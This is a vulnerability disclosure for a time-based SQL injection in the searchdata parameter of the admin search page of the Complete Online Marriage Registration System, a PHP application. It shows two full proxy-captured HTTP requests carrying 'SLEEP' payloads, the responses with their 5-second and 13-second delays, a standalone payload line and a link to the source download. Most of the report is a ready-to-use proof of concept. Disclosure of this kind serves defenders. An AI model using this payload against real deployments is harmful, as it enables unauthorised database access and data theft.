

SQL injection vulnerability exists in searchdata parameter of /admin/search.php file of Complete Online Marriage Registration System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

Request

```
1 POST /omrs/admin/search.php HTTP/1.1
2 Content-Type: multipart/form-data;
  boundary=-----YwJkMTQzNDcw
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/omrs/admin/
5 Cookie: user_login=admin; userpassword=Test%40123; PHPSESSID=
  9p8pnnfa4gs74436102ip5639c
6 Content-Length: 235
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0
  .8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 -----YwJkMTQzNDcw
14 Content-Disposition: form-data; name="search"
15
16
17 -----YwJkMTQzNDcw
18 Content-Disposition: form-data; name="searchdata"
19
20 -1' OR 3;SELECT SLEEP(5)#21=6 AND 000597=000597 --
21 -----YwJkMTQzNDcw
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Thu, 21 Mar 2024 11:52:17 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b
  mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 13144
12
13 <!DOCTYPE html>
14 <html lang="en">
15 <head>
16
17
18 <title>
  Online Marriage Registration System || Search Marriage
  Application
19 </title>
20
21 <!-- vendor css -->
22 <link href="lib/font-awesome/css/font-awesome.css" rel="
  stylesheet">
23 <link href="lib/Icons/css/ionsicons.css" rel="
  stylesheet">
24 <link href="lib/perfect-scrollbar/css/perfect-scrollbar.css" rel="
  stylesheet">
25 <link href="lib/jquery-toggles/toggles-full.css" rel="
  stylesheet">
26 <link href="lib/highlightjs/github.css" rel="stylesheet">
27
28 </head>
29
30 <body>
31
32 </body>
33 </html>
```

Inspector

Selected text

SLEEP(5)

Decoded from: Select

Cancel Apply changes

Request Attributes 2

Request Query Parameters 0

Request Body Parameters 2

Request Cookies 3

Request Headers 10

Response Headers 10

13,517 bytes | 5,014 millis

Sleep time is 13s:

Request

```
1 POST /omrs/admin/search.php HTTP/1.1
2 Content-Type: multipart/form-data;
  boundary=-----YwJkMTQzNDcw
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/omrs/admin/
5 Cookie: user_login=admin; userpassword=Test%40123; PHPSESSID=
  9p8pnnfa4gs74436102ip5639c
6 Content-Length: 236
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0
  .8
8 Accept-Encoding: gzip,deflate,br
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0
  Safari/537.36
10 Host: 192.168.31.163
11 Connection: Keep-alive
12
13 -----YwJkMTQzNDcw
14 Content-Disposition: form-data; name="search"
15
16
17 -----YwJkMTQzNDcw
18 Content-Disposition: form-data; name="searchdata"
19
20 -1' OR 3;SELECT SLEEP(13)#21=6 AND 000597=000597 --
21 -----YwJkMTQzNDcw
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Thu, 21 Mar 2024 11:52:43 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b
  mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 13145
12
13 <!DOCTYPE html>
14 <html lang="en">
15 <head>
16
17
18 <title>
  Online Marriage Registration System || Search Marriage
  Application
19 </title>
20
21 <!-- vendor css -->
22 <link href="lib/font-awesome/css/font-awesome.css" rel="
  stylesheet">
23 <link href="lib/Icons/css/ionsicons.css" rel="
  stylesheet">
24 <link href="lib/perfect-scrollbar/css/perfect-scrollbar.css" rel="
  stylesheet">
25 <link href="lib/jquery-toggles/toggles-full.css" rel="
  stylesheet">
26 <link href="lib/highlightjs/github.css" rel="stylesheet">
27
28 </head>
29
30 <body>
31
32 </body>
33 </html>
```

Inspector

Selected text

SLEEP(13)

Decoded from: Select

Cancel Apply changes

Request Attributes 2

Request Query Parameters 0

Request Body Parameters 2

Request Cookies 3

Request Headers 10

Response Headers 10

13,518 bytes | 13,003 millis

Payload:searchdata=-1' OR 3;SELECT SLEEP(13)#21=6 AND 000597=000597 --

Source Download:

<https://www.campcodes.com/projects/php/online-marriage-registration-system/>